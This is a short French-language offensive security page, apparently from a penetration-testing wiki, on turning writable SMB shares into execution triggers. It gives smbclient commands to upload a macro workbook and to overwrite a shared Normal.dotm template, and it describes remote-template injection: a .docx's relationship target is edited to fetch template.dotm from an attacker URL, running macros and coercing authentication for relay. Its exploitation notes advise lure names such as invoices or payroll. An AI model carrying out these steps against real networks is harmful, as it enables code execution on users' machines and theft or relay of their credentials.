Les documents Office stockés sur un partage inscriptible deviennent des déclencheurs d'exécution lorsque les utilisateurs les ouvrent. La forme directe est un document avec macros dont le VBA s'exécute à l'ouverture (selon les paramètres de macros de l'utilisateur). La forme plus insidieuse vise les modèles : le Normal.dotm de Word et les dossiers de démarrage d'Office contiennent du code et des paramètres chargés à chaque lancement, de sorte qu'empoisonner un modèle partagé ou itinérant s'exécute à chaque démarrage. Et l'injection de modèle distant ou de référence externe fait qu'un document par ailleurs sain récupère et exécute le contenu de l'attaquant depuis un serveur à son ouverture, ce qui force aussi l'authentification.
Voies#
# 1. macro document on the share (runs VBA on open if macros are allowed)
smbclient //<t>/share -U 'user%pass' -c 'put invoice.xlsm'
# 2. poison a shared/roaming template so code runs on every Office launch
# Normal.dotm (Word), or files in the Office STARTUP folder, if share-hosted
smbclient //<t>/profiles -U 'user%pass' -c 'cd Templates; put Normal.dotm'
# 3. remote-template injection: a .docx references an external template URL the
# attacker controls; opening the doc fetches template.dotm (code + auth)
# edit word/_rels/settings.xml.rels Target to http(s)://attacker/template.dotm
L'injection de modèle distant fonctionne parce qu'un document Office Open XML enregistre le modèle sur lequel il est basé comme cible d'une relation ; remplacer cette cible par une URL de l'attaquant fait que le client récupère le modèle distant à l'ouverture, lequel peut porter une macro et force le client à demander l'URL (fuite ou relais de l'authentification si elle est UNC/HTTP).
Notes d'exploitation#
- L'exécution des macros dépend de la politique de macros de l'utilisateur ; l'empoisonnement de modèles (
Normal.dotm, STARTUP) est plus puissant là où ceux-ci sont hébergés sur un partage, car il s'exécute à chaque lancement indépendamment des invites par document. - L'injection de modèle distant fait aussi office de coercition : une cible de modèle UNC ou HTTP fait que le client s'authentifie auprès de l'attaquant, se combinant avec la signature et le relais.
- Nommez le document empoisonné pour inciter à l'ouverture (facture, rapport, paie) et placez-le là où l'utilisateur cible travaille ; l'exécution se fait dans le contexte de cet utilisateur.
- Ceci se déclenche à l'ouverture plutôt qu'à la consultation du dossier ; utilisez la coercition SCF et LNK pour le cas de la simple consultation.